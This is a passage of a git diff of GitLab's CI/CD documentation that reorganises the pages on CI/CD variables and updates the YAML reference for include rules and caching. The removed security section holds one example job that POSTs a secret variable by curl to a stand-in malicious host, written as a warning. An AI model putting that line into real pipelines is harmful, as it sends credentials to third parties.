(greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | | v15.7.0 | | Potential for secrets to be revealed when `CI_DEBUG_SERVICES` is enabled. For details, read about [service container logging](../services/index.md#capturing-service-container-logs). | -### Protected CI/CD variables +### Protect a CI/CD variable You can configure a project, group, or instance CI/CD variable to be available only to pipelines that run on [protected branches](../../user/project/protected_branches.md) @@ -394,60 +290,61 @@ To mark a variable as protected: The variable is available for all subsequent pipelines. -### Expand CI/CD variables +### Use file type CI/CD variables -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 13.7. +All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file +are `Variable` type. Project, group and instance CI/CD variables can be `Variable` +or `File` type. -Expanded variables treat values with the `$` character as a reference to another variable. CI/CD variables are expanded -by default. +`Variable` type variables: -To treat variables with a `$` character as raw strings, disable variable expansion for the variable: +- Consist of a key and value pair. +- Are made available in jobs as environment variables, with: + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value as the environment variable value. -1. In the project or group, go to **Settings > CI/CD**. -1. Expand the **Variables** section. -1. Next to the variable you want to do not want expanded, select **Edit**. -1. Clear the **Expand variable** checkbox. -1. Select **Update variable**. +Use `File` type CI/CD variables for tools that need a file as input. -### CI/CD variable security +`File` type variables: -Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables -and send them to a third party server regardless of the masked setting. If the pipeline -runs on a [protected branch](../../user/project/protected_branches.md) or -[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. +- Consist of a key, value and file. +- Are made available in jobs as environment variables, with + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value saved to a temporary file. + - The path to the temporary file as the environment variable value. -Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: +Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) +and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) +use `File` type variables for configuration. -- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project). -- Merge the changes. +For example, if you have the following variables: -Review the `.gitlab-ci.yml` file of imported projects before you add files or run pipelines against them. +- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. +- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. -The following example shows malicious code in a `.gitlab-ci.yml` file: +Use the variables in a job script like this: -```yaml -build: - script: - - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" +```shell +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" ``` -Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) -and stored in the database. This data can only be read and decrypted with a -valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). - -### Custom variables validated by GitLab +WARNING: +Be careful when assigning the value of a file variable to another variable. The other +variable takes the content of the file as its value, **not** the path to the file. +See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details. -Some variables are listed in the UI so you can choose them more quickly. +An alternative to `File` type variables is to: -| Variable | Allowed Values | Introduced in | -|-------------------------|----------------------------------------------------|---------------| -| `AWS_ACCESS_KEY_ID` | Any | 12.10 | -| `AWS_DEFAULT_REGION` | Any | 12.10 | -| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 | +- Read the value of a CI/CD variable (`variable` type). +- Save the value in a file. +- Use that file in your script. -WARNING: -When you store credentials, there are [security implications](#cicd-variable-security). -If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). +```shell +# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file +echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" +# Pass the newly created file to kubectl +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" +``` ## Use CI/CD variables in job scripts @@ -457,7 +354,7 @@ shell. To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/). -### Use variables with Bash, `sh` and similar +### With Bash, `sh` and similar To access environment variables in Bash, `sh`, and similar shells, prefix the CI/CD variable with (`$`): @@ -468,7 +365,7 @@ job_name: - echo "$CI_JOB_ID" ``` -### Use variables with PowerShell +### With PowerShell To access variables in a Windows PowerShell environment, including environment variables set by the system, prefix the variable name with (`$env:`) or (`$`): @@ -490,7 +387,7 @@ job_name: - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test ``` -### Use variables with Windows Batch +### With Windows Batch To access CI/CD variables in Windows Batch, surround the variable with `%`: @@ -510,48 +407,7 @@ job_name: - echo !ERROR_MESSAGE! ``` -### List all environment variables - -You can list all environment variables available to a script with the `export` command -in Bash or `dir env:` in PowerShell. This exposes the values of **all** available -variables, which can be a [security risk](#cicd-variable-security). -[Masked variables](#mask-a-cicd-variable) display as `[masked]`. - -For example: - -```yaml -job_name: - script: - - export - # - 'dir env:' # Use this for PowerShell -``` - -Example job log output (truncated): - -```shell -export CI_JOB_ID="50" -export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" -export CI_COMMIT_SHORT_SHA="1ecfd275" -export CI_COMMIT_REF_NAME="main" -export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" -export CI_COMMIT_TAG="1.0.0" -export CI_JOB_NAME="spec:other" -export CI_JOB_STAGE="test" -export CI_JOB_MANUAL="true" -export CI_JOB_TRIGGERED="true" -export CI_JOB_TOKEN="[masked]" -export CI_PIPELINE_ID="1000" -export CI_PIPELINE_IID="10" -export CI_PAGES_DOMAIN="gitlab.io" -export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss" -export CI_PROJECT_ID="34" -export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss" -export CI_PROJECT_NAME="gitlab-foss" -export CI_PROJECT_TITLE="GitLab FOSS" -... -``` - -## Pass an environment variable to another job +### Pass an environment variable to another job > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1. @@ -566,7 +422,7 @@ they can be used in job scripts. - Each defined line must be of the form `VARIABLE_NAME=ANY VALUE HERE`. - Values can be wrapped in quotes, but cannot contain newline characters. 1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/artifacts_reports.md#artifactsreportsdotenv) -artifact. + artifact. 1. Jobs in later stages can then [use the variable in scripts](#use-cicd-variables-in-job-scripts). Inherited variables [take precedence](#cicd-variable-precedence) over @@ -616,7 +472,6 @@ deploy_one: name: customer1 deployment_tier: production - deploy_two: stage: deploy script: @@ -636,7 +491,6 @@ deploy_three: name: customer3 deployment_tier: production - deploy_four: stage: deploy script: @@ -663,6 +517,67 @@ deploy_five: [Multi-project pipelines](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job) can also inherit variables from their upstream pipelines. +### Store multiple values in one variable + +You cannot create a CI/CD variable that is an array of values, but you +can use shell scripting techniques for similar behavior. + +For example, you can store multiple variables separated by a space in a variable, +then loop through the values with a script: + +```yaml +job1: + variables: + FOLDERS: src test docs + script: + - | + for FOLDER in $FOLDERS + do + echo "The path is root/${FOLDER}" + done +``` + +## Use CI/CD variables in other variables + +You can use variables inside other variables: + +```yaml +job: + variables: + FLAGS: '-al' + LS_CMD: 'ls "$FLAGS"' + script: + - 'eval "$LS_CMD"' # Executes 'ls -al' +``` + +### Use the `$` character in CI/CD variables + +If you do not want the `$` character interpreted as the start of a variable, use `$$` instead: + +```yaml +job: + variables: + FLAGS: '-al' + LS_CMD: 'ls "$FLAGS" $$TMP_DIR' + script: + - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR' +``` + +### Prevent CI/CD variable expansion + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 15.7. + +Expanded variables treat values with the `$` character as a reference to another variable. +CI/CD variables are expanded by default. + +To treat variables with a `$` character as raw strings, disable variable expansion for the variable: + +1. In the project or group, go to **Settings > CI/CD**. +1. Expand the **Variables** section. +1. Next to the variable you want to do not want expanded, select **Edit**. +1. Clear the **Expand variable** checkbox. +1. Select **Update variable**. + ## CI/CD variable precedence You can use CI/CD variables with the same name in different places, but the values @@ -676,16 +591,16 @@ The order of precedence for variables is (from highest to lowest): - [Scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule). - [Manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). - Variables added when [creating a pipeline with the API](../../api/pipelines.md#create-a-new-pipeline). -1. Project [variables](#custom-cicd-variables). -1. Group [variables](#add-a-cicd-variable-to-a-group). If the same variable name exists in a +1. Project [variables](#for-a-project). +1. Group [variables](#for-a-group). If the same variable name exists in a group and its subgroups, the job uses the value from the closest subgroup. For example, if you have `Group > Subgroup 1 > Subgroup 2 > Project`, the variable defined in `Subgroup 2` takes precedence. -1. Instance [variables](#add-a-cicd-variable-to-an-instance). +1. Instance [variables](#for-an-instance). 1. [Inherited variables](#pass-an-environment-variable-to-another-job). 1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. -1. [Deployment variables](#deployment-variables). +1. [Deployment variables](predefined_variables.md#deployment-variables). 1. [Predefined variables](predefined_variables.md). In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`. @@ -702,7 +617,7 @@ job1: - echo "The variable value is $API_TOKEN" ``` -## Override a defined CI/CD variable +### Override a defined CI/CD variable You can override the value of a variable when you: @@ -743,46 +658,66 @@ use this setting for control over the environment the pipeline runs in. You can enable this feature by using [the projects API](../../api/projects.md#edit-project) to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. -## Limit the environment scope of a CI/CD variable +## Related topics -By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a -compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is -a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting -the environment scope of a variable. GitLab does this by -[defining which environments and corresponding jobs](../environments/index.md) -the variable can be available for. +- You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables + to a running application. To make a CI/CD variable available as an environment variable in the running application's container, + [prefix the variable key](../../topics/autodevops/cicd_variables.md#configure-application-secret-variables) + with `K8S_SECRET_`. -To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scope-environments-with-specs). +- The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) + video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) + working example project. It explains how multiple levels of group CI/CD variables + can be combined with environment-scoped project variables for complex configuration + of application builds or deployments. -To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected -branches or tags, see [Protected CI/CD variables](#protected-cicd-variables). + The example can be copied to your own group or instance for testing. More details + on what other GitLab CI patterns are demonstrated are available at the project page. -## Deployment variables +## Troubleshooting -Integrations that are responsible for deployment configuration can define their own -variables that are set in the build environment. These variables are only defined -for [deployment jobs](../environments/index.md). +### List all variables -For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables) -defines deployment variables that you can use with the integration. - -The [documentation for each integration](../../user/project/integrations/index.md) -explains if the integration has any deployment variables available. - -## Auto DevOps environment variables +You can list all variables available to a script with the `export` command +in Bash or `dir env:` in PowerShell. This exposes the values of **all** available +variables, which can be a [security risk](#cicd-variable-security). +[Masked variables](#mask-a-cicd-variable) display as `[masked]`. -You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables -to a running application. +For example: -To make a CI/CD variable available as an environment variable in the running application's container, -[prefix the variable key](../../topics/autodevops/cicd_variables.md#configure-application-secret-variables) -with `K8S_SECRET_`. +```yaml +job_name: + script: + - export + # - 'dir env:' # Use this for PowerShell +``` -CI/CD variables with multi-line values are not supported. +Example job log output (truncated): -## Debug logging +```shell +export CI_JOB_ID="50" +export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" +export CI_COMMIT_SHORT_SHA="1ecfd275" +export CI_COMMIT_REF_NAME="main" +export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" +export CI_COMMIT_TAG="1.0.0" +export CI_JOB_NAME="spec:other" +export CI_JOB_STAGE="test" +export CI_JOB_MANUAL="true" +export CI_JOB_TRIGGERED="true" +export CI_JOB_TOKEN="[masked]" +export CI_PIPELINE_ID="1000" +export CI_PIPELINE_IID="10" +export CI_PAGES_DOMAIN="gitlab.io" +export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss" +export CI_PROJECT_ID="34" +export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss" +export CI_PROJECT_NAME="gitlab-foss" +export CI_PROJECT_TITLE="GitLab FOSS" +... +``` -> Introduced in GitLab Runner 1.7. +### Enable debug logging WARNING: Debug logging can be a serious security risk. The output contains the content of @@ -798,8 +733,6 @@ Before you enable debug logging, make sure only team members can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline) with debug output before you make logs public again. -### Enable Debug logging - To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`: ```yaml @@ -881,7 +814,7 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ... ``` -### Restrict access to debug logging +#### Restrict access to debug logging > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8. @@ -890,21 +823,10 @@ You can restrict access to debug logging. When restricted, only users with at least the Developer role can view job logs when debug logging is enabled with a variable in: -- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +- The [`.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). - The CI/CD variables set in the GitLab UI. WARNING: If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible to all users with access to job logs. The permission levels are not checked by the runner, so you should only use the variable in GitLab itself. - -## Video walkthrough of a working example - -The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) -video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) -working example project. It explains how multiple levels of group CI/CD variables -can be combined with environment-scoped project variables for complex configuration -of application builds or deployments. - -The example can be copied to your own group or instance for testing. More details -on what other GitLab CI patterns are demonstrated are available at the project page. diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index d7f67b79416..b9557b98066 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -11,7 +11,7 @@ Predefined [CI/CD variables](index.md) are available in every GitLab CI/CD pipel Some variables are only available with more recent versions of [GitLab Runner](https://docs.gitlab.com/runner/). -You can [output the values of all variables available for a job](index.md#list-all-environment-variables) +You can [output the values of all variables available for a job](index.md#list-all-variables) with a `script` command. There are also a number of [variables you can use to configure runner behavior](../runners/configure_runners.md#configure-runner-behavior-with-variables) globally or for individual jobs. @@ -45,7 +45,7 @@ as it can cause the pipeline to behave unexpectedly. | `CI_CONCURRENT_ID` | all | 11.10 | The unique ID of build execution in a single executor. | | `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | The unique ID of build execution in a single executor and project. | | `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to the CI/CD configuration file. Defaults to `.gitlab-ci.yml`. Read-only inside a running pipeline. | -| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](index.md#debug-logging) is enabled. | +| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](index.md#enable-debug-logging) is enabled. | | `CI_DEBUG_SERVICES` | 15.7 | 15.7 | `true` if [service container logging](../services/index.md#capturing-service-container-logs) is enabled. | | `CI_DEFAULT_BRANCH` | 12.4 | all | The name of the project's default branch. | | `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` | 13.7 | all | The top-level group image prefix for pulling images through the Dependency Proxy. | @@ -135,10 +135,10 @@ as it can cause the pipeline to behave unexpectedly. | `CI_TEMPLATE_REGISTRY_HOST` | 15.3 | all | The host of the registry used by CI/CD templates. Defaults to `registry.gitlab.com`. | | `GITLAB_CI` | all | all | Available for all jobs executed in CI/CD. `true` when available. | | `GITLAB_FEATURES` | 10.6 | all | The comma-separated list of licensed features available for the GitLab instance and license. | -| `GITLAB_USER_EMAIL` | 8.12 | all | The email of the user who started the job. | -| `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the job. | -| `GITLAB_USER_LOGIN` | 10.0 | all | The username of the user who started the job. | -| `GITLAB_USER_NAME` | 10.0 | all | The name of the user who started the job. | +| `GITLAB_USER_EMAIL` | 8.12 | all | The email of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the email of the user who started the job. | +| `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the ID of the user who started the job. | +| `GITLAB_USER_LOGIN` | 10.0 | all | The username of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the username of the user who started the job. | +| `GITLAB_USER_NAME` | 10.0 | all | The name of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the name of the user who started the job. | | `TRIGGER_PAYLOAD` | 13.9 | all | The webhook payload. Only available when a pipeline is [triggered with a webhook](../triggers/index.md#use-a-webhook-payload). | ## Predefined variables for merge request pipelines @@ -189,3 +189,15 @@ These variables are only available when: | `CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_SHA` | 12.3 | all | The HEAD SHA of the source branch of the pull request. | | `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_NAME` | 12.3 | all | The target branch name of the pull request. | | `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_SHA` | 12.3 | all | The HEAD SHA of the target branch of the pull request. | + +## Deployment variables + +Integrations that are responsible for deployment configuration can define their own +predefined variables that are set in the build environment. These variables are only defined +for [deployment jobs](../environments/index.md). + +For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables) +defines deployment variables that you can use with the integration. + +The [documentation for each integration](../../user/project/integrations/index.md) +explains if the integration has any deployment variables available. diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index 88d0c9a2454..6ea1f454467 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -36,6 +36,7 @@ There are two places defined variables can be used. On the: | [`include`](../yaml/index.md#include) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab.

See [Use variables with include](../yaml/includes.md#use-variables-with-include) for more information on supported variables. | | [`only:variables`](../yaml/index.md#onlyvariables--exceptvariables) | no | Not applicable | The variable must be in the form of `$variable`. Not supported are the following:

- `CI_ENVIRONMENT_*` variables, except `CI_ENVIRONMENT_NAME` which is supported.
- [Persisted variables](#persisted-variables). | | [`resource_group`](../yaml/index.md#resource_group) | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:
- `CI_ENVIRONMENT_URL`
- [Persisted variables](#persisted-variables). | +| [`rules:changes`](../yaml/index.md#ruleschanges) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. | | [`rules:exists`](../yaml/index.md#rulesexists) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. | | [`rules:if`](../yaml/index.md#rulesif) | no | Not applicable | The variable must be in the form of `$variable`. Not supported are the following:

- `CI_ENVIRONMENT_*` variables, except `CI_ENVIRONMENT_NAME` which is supported.
- [Persisted variables](#persisted-variables). | | [`script`](../yaml/index.md#script) | yes | Script execution shell | The variable expansion is made by the [execution shell environment](#execution-shell-environment). | diff --git a/doc/ci/yaml/artifacts_reports.md b/doc/ci/yaml/artifacts_reports.md index e12786f06ce..38b0ab1f0a3 100644 --- a/doc/ci/yaml/artifacts_reports.md +++ b/doc/ci/yaml/artifacts_reports.md @@ -115,8 +115,8 @@ collected code quality report uploads to GitLab as an artifact. GitLab can display the results of one or more reports in: -- The merge request [code quality widget](../testing/code_quality.md#code-quality-widget). -- The merge request [diff annotations](../testing/code_quality.md#code-quality-in-diff-view). +- The merge request [code quality widget](../testing/code_quality.md#merge-request-widget). +- The merge request [diff annotations](../testing/code_quality.md#merge-request-changes-view). - The [full report](../testing/metrics_reports.md). ## `artifacts:reports:container_scanning` **(ULTIMATE)** diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index daf2e653250..b1f43a4679b 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -56,7 +56,7 @@ You can include an array of configuration files: - template: Auto-DevOps.gitlab-ci.yml ``` -- You can define an array that combines both default and specific `include` type: +- You can define an array that combines both default and specific `include` types: ```yaml include: @@ -290,9 +290,9 @@ smoke-test-job: In `include` sections in your `.gitlab-ci.yml` file, you can use: -- [Project variables](../variables/index.md#add-a-cicd-variable-to-a-project). -- [Group variables](../variables/index.md#add-a-cicd-variable-to-a-group). -- [Instance variables](../variables/index.md#add-a-cicd-variable-to-an-instance). +- [Project variables](../variables/index.md#for-a-project). +- [Group variables](../variables/index.md#for-a-group). +- [Instance variables](../variables/index.md#for-an-instance). - Project [predefined variables](../variables/predefined_variables.md). - In GitLab 14.2 and later, the `$CI_COMMIT_REF_NAME` [predefined variable](../variables/predefined_variables.md). @@ -333,52 +333,82 @@ see this [CI/CD variable demo](https://youtu.be/4XR8gw3Pkos). ## Use `rules` with `include` > - Introduced in GitLab 14.2 [with a flag](../../administration/feature_flags.md) named `ci_include_rules`. Disabled by default. -> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.3. -> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) GitLab 14.3. -> - [Feature flag `ci_include_rules` removed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4. -> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4. +> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.3. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4. Feature flag `ci_include_rules` removed. > - [Support for `exists` keyword added](https://gitlab.com/gitlab-org/gitlab/-/issues/341511) in GitLab 14.5. You can use [`rules`](index.md#rules) with `include` to conditionally include other configuration files. -You can only use the following rules with `include` (and only with [certain variables](#use-variables-with-include)): +You can only use `rules` with [certain variables](#use-variables-with-include), and +these keywords: -- [`if` rules](index.md#rulesif). For example: +- [`rules:if`](index.md#rulesif). +- [`rules:exists`](index.md#rulesexists). - ```yaml - include: - - local: builds.yml - rules: - - if: $INCLUDE_BUILDS == "true" - - local: deploys.yml - rules: - - if: $CI_COMMIT_BRANCH == "main" - - test: - stage: test - script: exit 0 - ``` +You cannot use [`needs:`](index.md#needs) to create a job dependency that points to +a job added with `include:local:rules`. When the configuration is validated, +GitLab returns `undefined need: `. [Issue 345377](https://gitlab.com/gitlab-org/gitlab/-/issues/345377) +proposes improving this behavior. -- [`exists` rules](index.md#rulesexists). For example: +### `include` with `rules:if` - ```yaml - include: - - local: builds.yml - rules: - - exists: - - file.md - - test: - stage: test - script: exit 0 - ``` +Use [`rules:if`](index.md#rulesif) to conditionally include other configuration files +based on the status of CI/CD variables. For example: -`rules` keyword `changes` is not supported. +```yaml +include: + - local: builds.yml + rules: + - if: $INCLUDE_BUILDS == "true" + - local: deploys.yml + rules: + - if: $CI_COMMIT_BRANCH == "main" + +test: + stage: test + script: exit 0 +``` -You cannot use [`needs:`](index.md#needs) to create a job dependency that points to -a job added with `include:local:rules`. When the configuration is checked for validity, -GitLab returns `undefined need: `. An [issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/345377) -to improve this behavior. +### `include` with `rules:exists` + +Use [`rules:exists`](index.md#rulesexists) to conditionally include other configuration files +based on the existence of files. For example: + +```yaml +include: + - local: builds.yml + rules: + - exists: + - file.md + +test: + stage: test + script: exit 0 +``` + +In this example, GitLab checks for the existence of `file.md` in the current project. + +There is a known issue if you configure `include` with `rules:exists` to add a configuration file +from a different project. GitLab checks for the existence of the file in the _other_ project. +For example: + +```yaml +include: +- project: my-group/my-project-2 + ref: main + file: test-file.yml + rules: + - exists: + - file.md + +test: + stage: test + script: exit 0 +``` + +In this example, GitLab checks for the existence of `test-file.yml` in `my-group/my-project-2`, +not the current project. Follow [issue 386040](https://gitlab.com/gitlab-org/gitlab/-/issues/386040) +for information about work to improve this behavior. ## Use `include:local` with wildcard file paths diff --git a/doc/ci/yaml/index.md b/doc/ci/yaml/index.md index dffe409b193..3796eed54e1 100644 --- a/doc/ci/yaml/index.md +++ b/doc/ci/yaml/index.md @@ -171,7 +171,7 @@ the time limit to resolve all files is 30 seconds. #### `include:local` -Use `include:local` to include a file that is in the same repository as the `.gitlab-ci.yml` file. +Use `include:local` to include a file that is in the same repository as the project running the pipeline. Use `include:local` instead of symbolic links. **Keyword type**: Global keyword. @@ -397,10 +397,7 @@ Use [`workflow`](workflow.md) to control pipeline behavior. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/372538) in GitLab 15.5 [with a flag](../../administration/feature_flags.md) named `pipeline_name`. Disabled by default. > - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/376095) in GitLab 15.7. - -FLAG: -On self-managed GitLab, by default this feature is available. To hide the feature, -ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `pipeline_name`. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/376095) in GitLab 15.8. Feature flag `pipeline_name` removed. You can use `name` in `workflow:` to define a name for pipelines. @@ -669,6 +666,7 @@ In this example, `job1` and `job2` run in parallel: **Additional details**: - You can use `allow_failure` as a subkey of [`rules`](#rulesallow_failure). +- If `allow_failure: true` is set, the job is always considered successful, and later jobs with [`when: on_failure`](#when) don't start if this job fails. - You can use `allow_failure: false` with a manual job to create a [blocking manual job](../jobs/job_control.md#types-of-manual-jobs). A blocked pipeline does not run any jobs in later stages until the manual job is started and completes successfully. @@ -1003,7 +1001,7 @@ rspec: - Combining reports in parent pipelines using [artifacts from child pipelines](#needspipelinejob) is not supported. Track progress on adding support in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215725). -- To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword. This will upload and store the artifact twice. +- To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword. This uploads and stores the artifact twice. - The test reports are collected regardless of the job results (success or failure). You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration date for artifacts reports. @@ -1103,10 +1101,16 @@ job: ### `cache` +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330047) in GitLab 15.0, caches are not shared between protected and unprotected branches. + Use `cache` to specify a list of files and directories to cache between jobs. You can only use paths that are in the local working copy. -Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts). +Caches are: + +- Shared between pipelines and jobs. +- By default, not shared between [protected](../../user/project/protected_branches.md) and unprotected branches. +- Restored before [artifacts](#artifacts). Learn more about caches in [Caching in GitLab CI/CD](../caching/index.md). @@ -1142,6 +1146,10 @@ rspec: - .config ``` +**Additional details**: + +- The `cache:paths` keyword includes files even if they are untracked or in your `.gitignore` file. + **Related topics**: - See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more @@ -1289,6 +1297,11 @@ Untracked files include files that are: - Ignored due to [`.gitignore` configuration](https://git-scm.com/docs/gitignore). - Created, but not added to the checkout with [`git add`](https://git-scm.com/docs/git-add). +Caching untracked files can create unexpectedly large caches if the job downloads: + +- Dependencies, like gems or node modules, which are usually untracked. +- [Artifacts](#artifacts) from a different job. Files extracted from the artifacts are untracked by default. + **Keyword type**: Job keyword. You can use it only as part of a job or in the [`default` section](#default). @@ -1307,8 +1320,9 @@ rspec: **Additional details**: -- You can combine `cache:untracked` with `cache:paths` to cache all untracked files - as well as files in the configured paths. This is useful for including files that are not tracked because of a `.gitignore` configuration. For example: +- You can combine `cache:untracked` with `cache:paths` to cache all untracked files, as well as files in the configured paths. + Use `cache:paths` to cache any specific files, including tracked files, or files that are outside of the working directory, + and use `cache: untracked` to also cache all untracked files. For example: ```yaml rspec: @@ -1319,6 +1333,36 @@ rspec: - binaries/ ``` + In this example, the job caches all untracked files in the repository, as well as all the files in `binaries/`. + If there are untracked files in `binaries/`, they are covered by both keywords. + +#### `cache:unprotect` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362114) in GitLab 15.8. + +Use `cache:unprotect` to set a cache to be shared between [protected](../../user/project/protected_branches.md) +and unprotected branches. + +WARNING: +When set to `true`, users without access to protected branches can read and write to +cache keys used by protected branches. + +**Keyword type**: Job keyword. You can use it only as part of a job or in the +[`default` section](#default). + +**Possible inputs**: + +- `true` or `false` (default). + +**Example of `cache:untracked`**: + +```yaml +rspec: + script: test + cache: + unprotect: true +``` + #### 